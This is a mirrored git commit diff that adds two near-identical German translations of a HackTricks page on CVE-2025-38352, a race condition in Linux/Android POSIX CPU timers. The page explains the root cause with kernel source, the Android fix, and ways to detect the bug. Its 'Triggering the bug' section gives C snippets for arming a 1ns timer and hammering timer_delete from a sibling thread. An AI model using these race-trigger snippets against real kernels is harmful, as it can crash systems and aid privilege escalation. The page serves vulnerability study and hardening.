mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/binary-exploitation/linux-kernel-exploitation/posix-cpu
This commit is contained in:
		
							parent
							
								
									a5c2611e67
								
							
						
					
					
						commit
						f66a085a88
					
				| @ -937,3 +937,5 @@ | ||||
| - [Post Exploitation](todo/post-exploitation.md) | ||||
| - [Investment Terms](todo/investment-terms.md) | ||||
| - [Cookies Policy](todo/cookies-policy.md) | ||||
| 
 | ||||
|   - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) | ||||
| @ -0,0 +1,195 @@ | ||||
| # POSIX CPU Timers TOCTOU race (CVE-2025-38352) | ||||
| 
 | ||||
| {{#include ../../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| Diese Seite dokumentiert eine TOCTOU-Rennbedingung in Linux/Android POSIX CPU timers, die den Timerzustand korruptieren und den Kernel zum Absturz bringen kann und unter bestimmten Umständen in Richtung privilege escalation gelenkt werden kann. | ||||
| 
 | ||||
| - Betroffene Komponente: kernel/time/posix-cpu-timers.c | ||||
| - Primitiv: Ablauf vs Löschung Race beim task exit | ||||
| - Konfigurationsabhängig: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path) | ||||
| 
 | ||||
| Kurzer interner Überblick (relevant für exploitation) | ||||
| - Drei CPU-Clocks steuern das Accounting der Timer über cpu_clock_sample(): | ||||
| - CPUCLOCK_PROF: utime + stime | ||||
| - CPUCLOCK_VIRT: nur utime | ||||
| - CPUCLOCK_SCHED: task_sched_runtime() | ||||
| - Bei Timererstellung wird ein Timer an eine task/pid gekoppelt und die timerqueue-Knoten initialisiert: | ||||
| ```c | ||||
| static int posix_cpu_timer_create(struct k_itimer *new_timer) { | ||||
| struct pid *pid; | ||||
| rcu_read_lock(); | ||||
| pid = pid_for_clock(new_timer->it_clock, false); | ||||
| if (!pid) { rcu_read_unlock(); return -EINVAL; } | ||||
| new_timer->kclock = &clock_posix_cpu; | ||||
| timerqueue_init(&new_timer->it.cpu.node); | ||||
| new_timer->it.cpu.pid = get_pid(pid); | ||||
| rcu_read_unlock(); | ||||
| return 0; | ||||
| } | ||||
| ``` | ||||
| - Arming fügt in eine per-base timerqueue ein und kann den next-expiry cache aktualisieren: | ||||
| ```c | ||||
| static void arm_timer(struct k_itimer *timer, struct task_struct *p) { | ||||
| struct posix_cputimer_base *base = timer_base(timer, p); | ||||
| struct cpu_timer *ctmr = &timer->it.cpu; | ||||
| u64 newexp = cpu_timer_getexpires(ctmr); | ||||
| if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; | ||||
| if (newexp < base->nextevt) base->nextevt = newexp; | ||||
| } | ||||
| ``` | ||||
| - Der Fast path vermeidet teure Verarbeitung, es sei denn zwischengespeicherte Ablaufzeiten deuten auf ein mögliches Auslösen hin: | ||||
| ```c | ||||
| static inline bool fastpath_timer_check(struct task_struct *tsk) { | ||||
| struct posix_cputimers *pct = &tsk->posix_cputimers; | ||||
| if (!expiry_cache_is_inactive(pct)) { | ||||
| u64 samples[CPUCLOCK_MAX]; | ||||
| task_sample_cputime(tsk, samples); | ||||
| if (task_cputimers_expired(samples, pct)) | ||||
| return true; | ||||
| } | ||||
| return false; | ||||
| } | ||||
| ``` | ||||
| - Ablauf sammelt abgelaufene Timer, kennzeichnet sie als ausgelöst, entfernt sie aus der Warteschlange; die tatsächliche Zustellung wird aufgeschoben: | ||||
| ```c | ||||
| #define MAX_COLLECTED 20 | ||||
| static u64 collect_timerqueue(struct timerqueue_head *head, | ||||
| struct list_head *firing, u64 now) { | ||||
| struct timerqueue_node *next; int i = 0; | ||||
| while ((next = timerqueue_getnext(head))) { | ||||
| struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); | ||||
| u64 expires = cpu_timer_getexpires(ctmr); | ||||
| if (++i == MAX_COLLECTED || now < expires) return expires; | ||||
| ctmr->firing = 1;                           // critical state | ||||
| rcu_assign_pointer(ctmr->handling, current); | ||||
| cpu_timer_dequeue(ctmr); | ||||
| list_add_tail(&ctmr->elist, firing); | ||||
| } | ||||
| return U64_MAX; | ||||
| } | ||||
| ``` | ||||
| Zwei Ablaufverarbeitungsmodi | ||||
| - CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: Das Ablaufereignis wird über task_work auf die Ziel-Task verschoben | ||||
| - CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: Das Ablaufereignis wird direkt im IRQ-Kontext verarbeitet | ||||
| ```c | ||||
| void run_posix_cpu_timers(void) { | ||||
| struct task_struct *tsk = current; | ||||
| __run_posix_cpu_timers(tsk); | ||||
| } | ||||
| #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK | ||||
| static inline void __run_posix_cpu_timers(struct task_struct *tsk) { | ||||
| if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; | ||||
| tsk->posix_cputimers_work.scheduled = true; | ||||
| task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); | ||||
| } | ||||
| #else | ||||
| static inline void __run_posix_cpu_timers(struct task_struct *tsk) { | ||||
| lockdep_posixtimer_enter(); | ||||
| handle_posix_cpu_timers(tsk);                  // IRQ-context path | ||||
| lockdep_posixtimer_exit(); | ||||
| } | ||||
| #endif | ||||
| ``` | ||||
| Im IRQ-context-Pfad wird die firing list außerhalb von sighand verarbeitet. | ||||
| ```c | ||||
| static void handle_posix_cpu_timers(struct task_struct *tsk) { | ||||
| struct k_itimer *timer, *next; unsigned long flags, start; | ||||
| LIST_HEAD(firing); | ||||
| if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit | ||||
| do { | ||||
| start = READ_ONCE(jiffies); barrier(); | ||||
| check_thread_timers(tsk, &firing); | ||||
| check_process_timers(tsk, &firing); | ||||
| } while (!posix_cpu_timers_enable_work(tsk, start)); | ||||
| unlock_task_sighand(tsk, &flags);              // race window opens here | ||||
| list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { | ||||
| int cpu_firing; | ||||
| spin_lock(&timer->it_lock); | ||||
| list_del_init(&timer->it.cpu.elist); | ||||
| cpu_firing = timer->it.cpu.firing;         // read then reset | ||||
| timer->it.cpu.firing = 0; | ||||
| if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); | ||||
| rcu_assign_pointer(timer->it.cpu.handling, NULL); | ||||
| spin_unlock(&timer->it_lock); | ||||
| } | ||||
| } | ||||
| ``` | ||||
| Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit | ||||
| Preconditions | ||||
| - CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) | ||||
| - The target task is exiting but not fully reaped | ||||
| - Another thread concurrently calls posix_cpu_timer_del() for the same timer | ||||
| 
 | ||||
| Sequence | ||||
| 1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task. | ||||
| 2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list. | ||||
| 3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock. | ||||
| 4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del(). | ||||
| 5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB. | ||||
| 
 | ||||
| Why TASK_WORK mode is safe by design | ||||
| - With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur. | ||||
| - Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent. | ||||
| 
 | ||||
| Fix (Android common kernel) and rationale | ||||
| - Add an early return if current task is exiting, gating all processing: | ||||
| ```c | ||||
| // kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) | ||||
| if (tsk->exit_state) | ||||
| return; | ||||
| ``` | ||||
| - Dadurch wird verhindert, dass handle_posix_cpu_timers() für gerade beendete Tasks betreten wird, wodurch das Zeitfenster entfällt, in dem posix_cpu_timer_del() it.cpu.firing übersehen und mit der Ablaufverarbeitung um Ressourcen konkurrieren könnte. | ||||
| 
 | ||||
| Impact | ||||
| - Kernel-Speicherbeschädigung von Timer-Strukturen während gleichzeitiger Ablauf-/Löschvorgänge kann unmittelbare Abstürze (DoS) verursachen und ist ein starkes Primitive für privilege escalation aufgrund der Möglichkeiten zur beliebigen Kernel-Zustandsmanipulation. | ||||
| 
 | ||||
| Triggering the bug (safe, reproducible conditions) | ||||
| Build/config | ||||
| - Stellen Sie sicher, dass CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n gesetzt ist und verwenden Sie einen Kernel ohne den exit_state-Gating-Fix. | ||||
| 
 | ||||
| Runtime strategy | ||||
| - Zielen Sie auf einen Thread, der kurz vor dem Beenden steht, und hängen Sie einen CPU-Timer daran an (pro Thread oder prozessweite Uhr): | ||||
| - Für pro Thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) | ||||
| - Für prozessweite Uhr: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) | ||||
| - Rüsten Sie mit einer sehr kurzen initialen Ablaufzeit und einem kleinen Intervall, um Eintritte in den IRQ-Pfad zu maximieren: | ||||
| ```c | ||||
| static timer_t t; | ||||
| static void setup_cpu_timer(void) { | ||||
| struct sigevent sev = {0}; | ||||
| sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race | ||||
| sev.sigev_signo = SIGUSR1; | ||||
| if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); | ||||
| struct itimerspec its = {0}; | ||||
| its.it_value.tv_nsec = 1;           // fire ASAP | ||||
| its.it_interval.tv_nsec = 1;        // re-fire | ||||
| if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); | ||||
| } | ||||
| ``` | ||||
| - Aus einem Geschwister-Thread denselben Timer gleichzeitig löschen, während der Ziel-Thread beendet wird: | ||||
| ```c | ||||
| void *deleter(void *arg) { | ||||
| for (;;) (void)timer_delete(t);     // hammer delete in a loop | ||||
| } | ||||
| ``` | ||||
| - Race amplifiers: hohe Scheduler-Tickrate, CPU-Last, wiederholte Thread-Exit/Recreate-Zyklen. Der Absturz tritt typischerweise auf, wenn posix_cpu_timer_del() das Erkennen eines firing überspringt, weil task lookup/locking direkt nach unlock_task_sighand() fehlschlägt. | ||||
| 
 | ||||
| Erkennung und Härtung | ||||
| - Gegenmaßnahme: apply the exit_state guard; vorzugsweise CONFIG_POSIX_CPU_TIMERS_TASK_WORK aktivieren, wenn möglich. | ||||
| - Beobachtbarkeit: tracepoints/WARN_ONCE um unlock_task_sighand()/posix_cpu_timer_del() hinzufügen; alarmieren, wenn it.cpu.firing==1 zusammen mit fehlgeschlagener cpu_timer_task_rcu()/lock_task_sighand() beobachtet wird; auf timerqueue-Inkonsistenzen rund um task exit achten. | ||||
| 
 | ||||
| Audit-Hotspots (für Reviewer) | ||||
| - update_process_times() → run_posix_cpu_timers() (IRQ) | ||||
| - __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path) | ||||
| - collect_timerqueue(): sets ctmr->firing and moves nodes | ||||
| - handle_posix_cpu_timers(): drops sighand before firing loop | ||||
| - posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap | ||||
| 
 | ||||
| Notes for exploitation research | ||||
| - The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs. | ||||
| 
 | ||||
| ## Referenzen | ||||
| - [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) | ||||
| - [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) | ||||
| - [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) | ||||
| 
 | ||||
| {{#include ../../../banners/hacktricks-training.md}} | ||||
| @ -0,0 +1,196 @@ | ||||
| # POSIX CPU Timers TOCTOU race (CVE-2025-38352) | ||||
| 
 | ||||
| {{#include ../../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| Diese Seite dokumentiert eine TOCTOU-Race-Bedingung in Linux/Android POSIX CPU timers, die den Timerzustand korrumpieren und den Kernel zum Absturz bringen kann und unter bestimmten Umständen zur privilege escalation genutzt werden kann. | ||||
| 
 | ||||
| - Betroffene Komponente: kernel/time/posix-cpu-timers.c | ||||
| - Primitive: Ablauf- vs Lösch-Race bei Task-Beendigung | ||||
| - Konfigurationsabhängig: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path) | ||||
| 
 | ||||
| Kurze interne Zusammenfassung (relevant für die Ausnutzung) | ||||
| - Drei CPU-Clocks treiben die Abrechnung für Timer via cpu_clock_sample() an: | ||||
| - CPUCLOCK_PROF: utime + stime | ||||
| - CPUCLOCK_VIRT: utime only | ||||
| - CPUCLOCK_SCHED: task_sched_runtime() | ||||
| - Die Timererstellung verbindet einen Timer mit einer task/pid und initialisiert die timerqueue-Nodes: | ||||
| ```c | ||||
| static int posix_cpu_timer_create(struct k_itimer *new_timer) { | ||||
| struct pid *pid; | ||||
| rcu_read_lock(); | ||||
| pid = pid_for_clock(new_timer->it_clock, false); | ||||
| if (!pid) { rcu_read_unlock(); return -EINVAL; } | ||||
| new_timer->kclock = &clock_posix_cpu; | ||||
| timerqueue_init(&new_timer->it.cpu.node); | ||||
| new_timer->it.cpu.pid = get_pid(pid); | ||||
| rcu_read_unlock(); | ||||
| return 0; | ||||
| } | ||||
| ``` | ||||
| - Arming fügt einen Eintrag in eine per-base timerqueue ein und kann den next-expiry cache aktualisieren: | ||||
| ```c | ||||
| static void arm_timer(struct k_itimer *timer, struct task_struct *p) { | ||||
| struct posix_cputimer_base *base = timer_base(timer, p); | ||||
| struct cpu_timer *ctmr = &timer->it.cpu; | ||||
| u64 newexp = cpu_timer_getexpires(ctmr); | ||||
| if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; | ||||
| if (newexp < base->nextevt) base->nextevt = newexp; | ||||
| } | ||||
| ``` | ||||
| Der Fast path vermeidet aufwändige Verarbeitung, es sei denn, zwischengespeicherte Ablaufzeiten deuten auf ein mögliches Auslösen hin: | ||||
| ```c | ||||
| static inline bool fastpath_timer_check(struct task_struct *tsk) { | ||||
| struct posix_cputimers *pct = &tsk->posix_cputimers; | ||||
| if (!expiry_cache_is_inactive(pct)) { | ||||
| u64 samples[CPUCLOCK_MAX]; | ||||
| task_sample_cputime(tsk, samples); | ||||
| if (task_cputimers_expired(samples, pct)) | ||||
| return true; | ||||
| } | ||||
| return false; | ||||
| } | ||||
| ``` | ||||
| - Expiration sammelt abgelaufene Timer, markiert sie als ausgelöst, verschiebt sie aus der Warteschlange; die eigentliche Zustellung wird aufgeschoben: | ||||
| ```c | ||||
| #define MAX_COLLECTED 20 | ||||
| static u64 collect_timerqueue(struct timerqueue_head *head, | ||||
| struct list_head *firing, u64 now) { | ||||
| struct timerqueue_node *next; int i = 0; | ||||
| while ((next = timerqueue_getnext(head))) { | ||||
| struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); | ||||
| u64 expires = cpu_timer_getexpires(ctmr); | ||||
| if (++i == MAX_COLLECTED || now < expires) return expires; | ||||
| ctmr->firing = 1;                           // critical state | ||||
| rcu_assign_pointer(ctmr->handling, current); | ||||
| cpu_timer_dequeue(ctmr); | ||||
| list_add_tail(&ctmr->elist, firing); | ||||
| } | ||||
| return U64_MAX; | ||||
| } | ||||
| ``` | ||||
| Zwei Modi zur Ablaufverarbeitung | ||||
| - CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: Ablauf wird über task_work auf dem Ziel-Task verzögert | ||||
| - CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: Ablauf wird direkt im IRQ-Kontext behandelt | ||||
| ```c | ||||
| void run_posix_cpu_timers(void) { | ||||
| struct task_struct *tsk = current; | ||||
| __run_posix_cpu_timers(tsk); | ||||
| } | ||||
| #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK | ||||
| static inline void __run_posix_cpu_timers(struct task_struct *tsk) { | ||||
| if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; | ||||
| tsk->posix_cputimers_work.scheduled = true; | ||||
| task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); | ||||
| } | ||||
| #else | ||||
| static inline void __run_posix_cpu_timers(struct task_struct *tsk) { | ||||
| lockdep_posixtimer_enter(); | ||||
| handle_posix_cpu_timers(tsk);                  // IRQ-context path | ||||
| lockdep_posixtimer_exit(); | ||||
| } | ||||
| #endif | ||||
| ``` | ||||
| Im IRQ-context-Pfad wird die firing list außerhalb von sighand verarbeitet. | ||||
| ```c | ||||
| static void handle_posix_cpu_timers(struct task_struct *tsk) { | ||||
| struct k_itimer *timer, *next; unsigned long flags, start; | ||||
| LIST_HEAD(firing); | ||||
| if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit | ||||
| do { | ||||
| start = READ_ONCE(jiffies); barrier(); | ||||
| check_thread_timers(tsk, &firing); | ||||
| check_process_timers(tsk, &firing); | ||||
| } while (!posix_cpu_timers_enable_work(tsk, start)); | ||||
| unlock_task_sighand(tsk, &flags);              // race window opens here | ||||
| list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { | ||||
| int cpu_firing; | ||||
| spin_lock(&timer->it_lock); | ||||
| list_del_init(&timer->it.cpu.elist); | ||||
| cpu_firing = timer->it.cpu.firing;         // read then reset | ||||
| timer->it.cpu.firing = 0; | ||||
| if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); | ||||
| rcu_assign_pointer(timer->it.cpu.handling, NULL); | ||||
| spin_unlock(&timer->it_lock); | ||||
| } | ||||
| } | ||||
| ``` | ||||
| Ursache: TOCTOU zwischen IRQ-time Ablauf und gleichzeitiger Löschung beim Task-Exit | ||||
| 
 | ||||
| Preconditions | ||||
| - CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) | ||||
| - Der Ziel-Task beendet sich, wurde jedoch noch nicht vollständig aufgeräumt | ||||
| - Ein anderer Thread ruft gleichzeitig posix_cpu_timer_del() für denselben Timer auf | ||||
| 
 | ||||
| Sequence | ||||
| 1) update_process_times() löst run_posix_cpu_timers() im IRQ-Kontext für den beendenden Task aus. | ||||
| 2) collect_timerqueue() setzt ctmr->firing = 1 und verschiebt den Timer in die temporäre firing-Liste. | ||||
| 3) handle_posix_cpu_timers() gibt sighand via unlock_task_sighand() frei, um Timer außerhalb der Sperre auszuliefern. | ||||
| 4) Unmittelbar nach dem Unlock kann der beendende Task aufgeräumt werden; ein anderer Thread führt posix_cpu_timer_del() aus. | ||||
| 5) In diesem Fenster kann posix_cpu_timer_del() daran scheitern, den state via cpu_timer_task_rcu()/lock_task_sighand() zu erwerben und überspringt dadurch die normale In-Flight-Prüfung, die timer->it.cpu.firing überprüft. Die Löschung wird so fortgesetzt, als wäre nicht firing, wodurch der Zustand während der Ablaufbehandlung beschädigt wird und zu Abstürzen/UB führt. | ||||
| 
 | ||||
| Why TASK_WORK mode is safe by design | ||||
| - Bei CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y wird der Ablauf auf task_work verschoben; exit_task_work läuft vor exit_notify, sodass die IRQ-time Überlappung mit dem Reaping nicht auftritt. | ||||
| - Selbst dann, wenn der Task bereits beendet ist, schlägt task_work_add() fehl; die Prüfung von exit_state macht beide Modi konsistent. | ||||
| 
 | ||||
| Fix (Android common kernel) and rationale | ||||
| - Füge eine frühe Rückgabe hinzu, falls current task exiting ist, die die gesamte Verarbeitung verhindert: | ||||
| ```c | ||||
| // kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) | ||||
| if (tsk->exit_state) | ||||
| return; | ||||
| ``` | ||||
| - Dies verhindert das Betreten von handle_posix_cpu_timers() für beendete Tasks und eliminiert das Zeitfenster, in dem posix_cpu_timer_del() it.cpu.firing übersehen könnte und mit der Ablaufverarbeitung in einen Wettlauf geraten kann. | ||||
| 
 | ||||
| Auswirkung | ||||
| - Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities. | ||||
| 
 | ||||
| Auslösen des Bugs (sichere, reproduzierbare Bedingungen) | ||||
| Build/Konfiguration | ||||
| - Stelle sicher, dass CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n gesetzt ist und verwende einen Kernel ohne den exit_state gating-Fix. | ||||
| 
 | ||||
| Laufzeitstrategie | ||||
| - Ziele auf einen Thread, der kurz davor ist zu beenden, und hänge einen CPU-Timer an ihn an (per-thread or process-wide clock): | ||||
| - Für per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) | ||||
| - Für process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) | ||||
| - Setze eine sehr kurze anfängliche Ablaufzeit und ein kleines Intervall, um die Anzahl der IRQ-Pfad-Einträge zu maximieren: | ||||
| ```c | ||||
| static timer_t t; | ||||
| static void setup_cpu_timer(void) { | ||||
| struct sigevent sev = {0}; | ||||
| sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race | ||||
| sev.sigev_signo = SIGUSR1; | ||||
| if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); | ||||
| struct itimerspec its = {0}; | ||||
| its.it_value.tv_nsec = 1;           // fire ASAP | ||||
| its.it_interval.tv_nsec = 1;        // re-fire | ||||
| if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); | ||||
| } | ||||
| ``` | ||||
| - Aus einem sibling-Thread gleichzeitig denselben Timer löschen, während der Ziel-Thread beendet wird: | ||||
| ```c | ||||
| void *deleter(void *arg) { | ||||
| for (;;) (void)timer_delete(t);     // hammer delete in a loop | ||||
| } | ||||
| ``` | ||||
| - Race-Verstärker: hohe Scheduler-Tick-Rate, CPU-Last, wiederholte Thread-Exit/Recreate-Zyklen. Der Crash äußert sich typischerweise, wenn posix_cpu_timer_del() das Erkennen des Auslösens überspringt, weil die Task-Suche/-Sperrung unmittelbar nach unlock_task_sighand() fehlschlägt. | ||||
| 
 | ||||
| Erkennung und Härtung | ||||
| - Minderung: wende den exit_state-Guard an; bevorzuge das Aktivieren von CONFIG_POSIX_CPU_TIMERS_TASK_WORK, wenn möglich. | ||||
| - Beobachtbarkeit: Füge tracepoints/WARN_ONCE um unlock_task_sighand()/posix_cpu_timer_del() hinzu; alarmiere, wenn it.cpu.firing==1 zusammen mit fehlschlagendem cpu_timer_task_rcu()/lock_task_sighand() beobachtet wird; achte auf Inkonsistenzen in timerqueue rund um Task-Beendigung. | ||||
| 
 | ||||
| Audit-Hotspots (für Reviewer) | ||||
| - update_process_times() → run_posix_cpu_timers() (IRQ) | ||||
| - __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path) | ||||
| - collect_timerqueue(): setzt ctmr->firing und verschiebt Knoten | ||||
| - handle_posix_cpu_timers(): gibt sighand frei, bevor die firing-Schleife startet | ||||
| - posix_cpu_timer_del(): verlässt sich auf it.cpu.firing, um laufende Ablaufereignisse zu erkennen; diese Prüfung wird übersprungen, wenn Task-Suche/-Sperrung während exit/reap fehlschlägt | ||||
| 
 | ||||
| Hinweise für Exploit-Forschung | ||||
| - Das offengelegte Verhalten ist ein zuverlässiges Kernel-Crash-Primitive; um es in eine Privilegieneskalation umzuwandeln, ist typischerweise eine zusätzliche kontrollierbare Überlappung (object lifetime oder write-what-where-Einfluss) erforderlich, die über den Rahmen dieser Zusammenfassung hinausgeht. Behandle jeden PoC als potenziell destabilisierend und führe ihn nur in Emulatoren/VMs aus. | ||||
| 
 | ||||
| ## Referenzen | ||||
| - [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) | ||||
| - [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) | ||||
| - [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) | ||||
| 
 | ||||
| {{#include ../../../banners/hacktricks-training.md}} | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user